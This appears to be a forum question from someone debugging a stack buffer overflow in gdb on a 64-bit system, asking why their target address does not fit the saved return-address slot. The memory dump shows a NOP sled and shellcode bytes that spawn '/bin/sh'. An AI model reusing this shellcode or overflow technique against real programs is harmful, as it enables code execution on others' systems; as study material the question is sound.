Why the size of the address in the stack is greater than the size of saved eip's address?

With gdb i want to put this adress 0x7fffffffe0f0 in rip register to succeed my buffer overflow. The issue is that the size of this address (0x7fffffffe0f0) is greater than the address where the rip register is saved (0x00ffff10).

Why the address in the stack is greater than the saved rip 's address?

How can i manage to replace the choosen address in the stack where the rip register is saved?

gdb: x/60xw $rsp

0x7fffffffe0e0: 0x00000000  0x00000000  0xffffe537  0x00007fff
0x7fffffffe0f0: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe100: 0x90909090  0x90909090  0x90909090  0xeb909090
0x7fffffffe110: 0x76895e1f  0x88c03108  0x46890746  0x890bb00c
0x7fffffffe120: 0x084e8df3  0xcd0c568d  0x89db3180  0x80cd40d8
0x7fffffffe130: 0xffffdce8  0x69622fff  0x68732f6e  0x00ffff10 <- rip
0x7fffffffe140: 0xffffe238  0x00007fff  0x00000000  0x00000002
0x7fffffffe150: 0x55554700  0x00005555  0xf7e1109b  0x00007fff
0x7fffffffe160: 0x00000000  0x00000000  0xffffe238  0x00007fff
0x7fffffffe170: 0x00040000  0x00000002  0x555546b8  0x00005555
0x7fffffffe180: 0x00000000  0x00000000  0x11fbb6ee  0x49163b74
0x7fffffffe190: 0x55554580  0x00005555  0xffffe230  0x00007fff
0x7fffffffe1a0: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffe1b0: 0x5d3bb6ee  0x1c436e21  0xbf5db6ee  0x1c437e1c
0x7fffffffe1c0: 0x00000000  0x00000000  0x00000000  0x00000000

Thank you for the reply :)